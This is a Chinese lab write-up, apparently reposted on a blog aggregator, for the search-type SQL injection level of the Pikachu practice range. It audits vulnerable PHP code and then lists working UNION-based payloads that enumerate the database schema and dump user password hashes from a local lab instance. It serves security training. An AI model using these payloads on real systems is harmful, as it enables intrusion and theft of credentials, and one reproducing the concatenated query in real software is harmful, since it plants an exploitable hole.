目录

一、SQL注入

二、搜索型注入

三、源码分析

1、渗透思路1

2、渗透思路2

四、渗透实战

1、渗透准备

2、SQL注入探测

(1)输入百分号单引号

(2)万能注入语句

3、获取回显列orderby

4、获取数据库名database

5、获取表名table

6、获取列名column

7、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对搜索型注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解搜索型注入的原理并进行渗透实践,本文为SQL注入03之搜索型注入关卡的渗透部分。

一、SQL注入

SQL注入是指攻击者通过在Web应用程序的输入字段(如表单、URL参数、Cookie等)中插入恶意的SQL语句片段,当应用程序将这些输入直接拼接到SQL查询语句中并执行时,攻击者插入的恶意SQL语句会被执行,从而实现对数据库的非法操作。

二、搜索型注入

搜索型注入是SQL注入的一种特殊形式,主要出现在网站搜索功能中,具有独特的攻击特点和利用方式。搜索型注入的基本特征大概如下所示。

  1. 出现场景:搜索框、筛选条件、动态查询等需要用户输入查询条件的功能

  2. SQL模式:通常使用LIKECONCAT等字符串操作函数

  3. 输入处理:用户输入往往被包裹在百分号(%)或引号中

三、源码分析

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_search.php,很明显查询语句没有对GET方法传入的参数name进行过滤,存在SQL注入风险,具体如下所示。

这段 PHP 代码的主要功能是处理一个通过 GET 方法提交的表单。当用户在 URL 中传递 submit 参数且 name 参数不为空时,代码会将用户输入的 name 作为条件,从 member 表中查询对应的 id 和 email 信息。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。同时,代码还会根据当前脚本文件名设置导航栏的激活状态,并包含项目的头部文件、配置文件、功能函数文件和 MySQL 操作文件。

<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化两个用于存储 HTML 内容的变量,$html1 用于存储查询结果相关的 HTML,$html2 用于存储提示信息相关的 HTML
$html1 = '';
$html2 = '';// 检查是否通过 GET 方法提交了表单,并且表单中名为 'name' 的字段不为空
if (isset($_GET['submit']) && $_GET['name'] != null) {// 从 GET 请求中获取名为 'name' 的字段的值,并将其赋值给变量 $name$name = $_GET['name'];// 构造一个 SQL 查询语句,使用 LIKE 关键字进行模糊匹配,将用户输入的 $name 直接拼接到查询语句中// 此查询的目的是从 member 表中选取 username 包含用户输入值的记录的 username、id 和 email 字段$query = "select username,id,email from member where username like '%$name%'";// 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象$result = execute($link, $query);// 检查查询结果集中的行数是否大于等于 1// mysqli_num_rows 函数用于获取结果集中的行数if (mysqli_num_rows($result) >= 1) {// 这里存在 XSS(跨站脚本攻击)风险,直接将用户输入的 $_GET['name'] 输出到 HTML 中$html2 .= "<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";// 当结果集中有记录时,使用 while 循环逐行获取结果集的数据// mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据while ($data = mysqli_fetch_assoc($result)) {// 从关联数组 $data 中获取 'username' 字段的值,并赋值给变量 $uname$uname = $data['username'];// 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id$id = $data['id'];// 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email$email = $data['email'];// 将用户信息拼接成 HTML 字符串,添加到变量 $html1 中$html1 .= "<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";}} else {// 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html1 中$html1 .= "<p class='notice'>0o。..没有搜索到你输入的信息!</p>";}
}
?>

此代码存在 SQL 注入安全风险的根本原因在于对用户输入的 $name 没有进行任何过滤和验证,就直接将其拼接到 SQL 查询语句里。由于使用了 LIKE 关键字进行模糊匹配,且 $name 被包含在单引号和 % 之间,攻击者可以利用这一特性构造恶意输入。 

select username,id,email from member where username like '%$name%'

1、渗透思路1

攻击者在 URL 中输入 ?submit=搜索&name=xxx%' OR '1'='1 ,实际执行的 SQL 查询如下所示。

select username,id,email from member where username like '%xxx%' OR '1'='1'

因为 '1'='1' 恒为真,这个查询会返回 member 表中的所有记录,攻击者借此就能获取到所有用户的username,id 和 email 信息。 

2、渗透思路2

也可以URL 中输入 ?submit=搜索&name=xxx%' OR 1=1#,其中#注释掉了原本的单引号,实际执行的 SQL 查询如下所示。

select username,id,email from member where username like '%xxx%' OR 1=1#'

四、渗透实战

1、渗透准备

打开靶场SQL注入第三关搜索型注入,完整URL链接如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php

输入已知账户“lili”,页面显示了用户名、用户id和邮箱信息,这与代码审计的分析一致。根据此时URL地址可知GET方法传入的参数为name。

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=lili&submit=%E6%90%9C%E7%B4%A2

2、SQL注入探测

(1)输入百分号单引号

根据源码我们知道name为字符型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在lili加上单引号,报错信息说明有注入风险,如下所示。

lili%'

完整的报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1”。 

(2)万能注入语句

接下来尝试万能注入语句,判断闭合语句,在数字后加上单引号 or= 1=1#万能注入语句,其中单引号是为了构造闭合,如下所示。

lili%' or 1=1#

3、获取回显列orderby

使用order by判断其可回显的字段,如下所示最终判断其回显列数为3个。

lili%' order by 5#

lili%' order by 3#

lili%' union select 1,2,3#

由于回显位共3个,且通过orderby获知仅有3列,故而可知这3列已经全部显示出来了,即第一个回显位、第二个回显位和第三个回显位都有效。

4、获取数据库名database

lili%' union select database(),user(),version()#

输入lili' union select database(),user(),version()#后注入成功,显示信息为3个,第一个获取到数据库名为pikachu,第二个获取到用户为root@localhost,第三个获取到版本号为5.7.26,具体如下所示。 

接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。 

-1%' union select database(),user(),version()#

输入id=-1 union select database(),user(),version()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,版本号为5.7.26,具体如下所示。 

5、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

id=-1%' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。

6、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

-1%' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

7、获取字段

对pikachu数据库中users表的username、password列进行爆破,命令如下所示。

-1%' union select 1,2,group_concat(username,':',password) from pikachu.users#

渗透后获取到数据库users表的username、password字段如下所示,渗透成功。  

admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/83030.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/83030.shtml
英文地址,请注明出处:http://en.pswp.cn/web/83030.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mac:大模型系列测试

0 MAC 前几天经过学生优惠以及国补17K入手了mac studio,然后这两天亲自测试其模型行运用能力如何&#xff0c;是否支持微调、推理速度等能力。下面进入正文。 1 mac 与 unsloth 按照下面的进行安装以及测试&#xff0c;是可以跑通文章里面的代码。训练速度也是很快的。 注意…

A Survey on the Memory Mechanism of Large Language Model based Agents

目录 摘要Abstract1. LLM-Based Agent的Memory1.1 基础概念1.2 用于解释Memory的例子1.3 智能体记忆的定义1.3.1 狭义定义(肯定不用这个定义)1.3.2 广义定义 1.4 记忆协助下智能体与环境的交互过程1.4.1 记忆写入1.4.2 记忆管理1.4.3 记忆读取1.4.4 总过程 2. 如何实现智能体记…

搭建 Serverless 架构

✅ 一、理解 Serverless 架构核心概念 核心理念&#xff1a; 无需管理服务器&#xff1a;只需编写业务逻辑&#xff0c;部署后由云平台托管运行环境。 事件驱动&#xff08;Event-driven&#xff09; 按需计费&#xff08;按调用次数/资源消耗&#xff09; 高可扩展性与自动…

Git仓库的创建

Git服务器准备 假设Git所在服务器为Ubuntu系统&#xff0c;IP地址10.17.1.5。 一. 准备运行git服务的git用户&#xff0c;这里用户名就直接设定为git。 1. 创建一个git用户组&#xff0c;并创建git用户。 sudo groupadd git sudo useradd git -g git 2. 创建git用户目录&…

电脑提示dll文件缺失怎么办 dll修复方法

当你在使用某些应用程序或启动电脑时&#xff0c;看到提示“DLL文件缺失”的错误信息&#xff0c;这通常意味着某个必要的动态链接库&#xff08;DLL&#xff09;文件无法被找到或加载&#xff0c;导致软件无法正常运行。本文将详细介绍如何排查和修复DLL文件缺失的问题&#x…

使用 Rest-Assured 和 TestNG 进行购物车功能的 API 自动化测试

这段代码使用了 Rest-Assured 进行 API 测试&#xff0c;结合 TestNG 框架执行多个 HTTP 请求并进行断言验证。以下是对每个测试方法的详细解释&#xff0c;包括代码逻辑和测试目的。 1. test01() 方法 - 提取响应数据 Test public void test01() {String jsonData "{\&…

【设计模式-4.7】行为型——备忘录模式

说明&#xff1a;本文介绍行为型设计模式之一的备忘录模式 定义 备忘录模式&#xff08;Memento Pattern&#xff09;又叫作快照模式&#xff08;Snapshot Pattern&#xff09;或令牌模式&#xff08;Token Pattern&#xff09;指在不破坏封装的前提下&#xff0c;捕获一个对…

2025年渗透测试面试题总结-天融信[社招]渗透测试工程师(题目+回答)

安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 天融信[社招]渗透测试工程师 一、Java Spring Boot组件漏洞 1. CVE-2018-1270&#xff08;WebSocket RCE&…

华为OD机考-内存冷热标记-多条件排序

import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextInt();int[] arr new int[a];for(int…

PPT转图片拼贴工具 v3.0

软件介绍 这个软件就是将PPT文件转换为图片并且拼接起来。 这个代码支持导入单个文件也支持导入文件夹 但是目前还没有解决可视化界面问题。 效果展示 软件源码 import os import re import win32com.client from PIL import Image from typing import List, Uniondef con…

NLP学习路线图(三十):微调策略

在自然语言处理领域,预训练语言模型(如BERT、GPT、T5)已成为基础设施。但如何让这些“通才”模型蜕变为特定任务的“专家”?微调策略正是关键所在。本文将深入剖析七种核心微调技术及其演进逻辑。 一、基础概念:为什么需要微调? 预训练模型在海量语料上学习了通用语言表…

讲述我的plc自学之路 第十三章

我和lora都是那种理想主义者&#xff0c;这是我们的共同之处。但是lora比我要更文艺一些&#xff0c;她读的书毕竟比我多&#xff0c;上的又是名校。受北大人文气息的熏陶&#xff0c;她总是对爱情充满了太多幻想。 “说说你的过往吧&#xff0c;lora。”我给lora倒了一杯啤酒&…

GPU虚拟化

引言 现有如下环境&#xff08;注意相关配置&#xff1a;只有一个k8s节点&#xff0c;且该节点上只有一张GPU卡&#xff09;&#xff1a; // k8s版本 $ kubectl version Client Version: version.Info{Major:"1", Minor:"22", GitVersion:"v1.22.7&…

【免费数据】2005-2019年我国272个地级市的旅游竞争力多指标数据(33个指标)

旅游业是一个城市的重要产业构成。旅游竞争力是一个城市竞争力的重要构成部分。一个城市的旅游竞争力反映了其在旅游市场竞争中的比较优势。 今日我们分享的是2005-2019年我国272个地级市的旅游竞争力多指标数据&#xff01;该数据集源自2025年4月发表于《地理学报》的论文成果…

AI智能驱动浏览器工具Browser Use详解

前言 在之前关于 AI 测试相关的几篇文章中,我们分别介绍了通过 playwright-mcp,以及 midscene.js、magentic ui 等几个不同的 AI 浏览器工具,实现 AI 驱动自动化测试的方法介绍。而其实在这些不断涌现的新工具出现之前,还有一个更早推出(2024.11),也同样还在不断完善的…

新成果:GaN基VCSEL动态物理模型开发

作为高速数据传输与光电信号处理的核心器件&#xff0c;垂直腔面发射激光器&#xff08;VCSEL&#xff09;在高速光通信、激光雷达等领域应用广泛&#xff0c;其动态特性直接关联器件调制速率及稳定性等关键参数。近期&#xff0c;天津赛米卡尔科技有限公司技术团队开发了GaN基…

嵌入式学习笔记 - freeRTOS xTaskResumeAll( )函数解析

第一部分 移除挂起等待列表中的任务 while( listLIST_IS_EMPTY( &xPendingReadyList ) pdFALSE )//循环寻找直到为空&#xff0c;把全部任务扫描一遍 { pxTCB ( TCB_t * ) listGET_OWNER_OF_HEAD_ENTRY( ( &xPendingR…

大数据+智能零售:数字化变革下的“智慧新零售”密码

大数据+智能零售:数字化变革下的“智慧新零售”密码 大家好,今天咱们聊聊一个火到不行的话题:大数据在智能零售中的应用。这个领域,不仅是技术的“硬核战场”,更是商业创新的风口浪尖。谁能玩转数据,谁就能掌控消费者心智,实现销售爆发。 咱们不搞枯燥学术,而是用最“…

react 常见的闭包陷阱深入解析

一、引子 先来看一段代码,你能说出这段代码的问题在哪吗? const [count, setCount] = useState(0); useEffect(() => {const timer = setTimeout(() => {setCount(count + 1);}, 1000);return () => clearTimeout(timer); }, []);正确答案: 这段代码存在闭包陷阱…

零基础在实践中学习网络安全-皮卡丘靶场(第十五期-URL重定向模块)

本期内容和之前的CSRF&#xff0c;File inclusion有联系&#xff0c;复习后可以更好了解 介绍 不安全的url跳转 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目…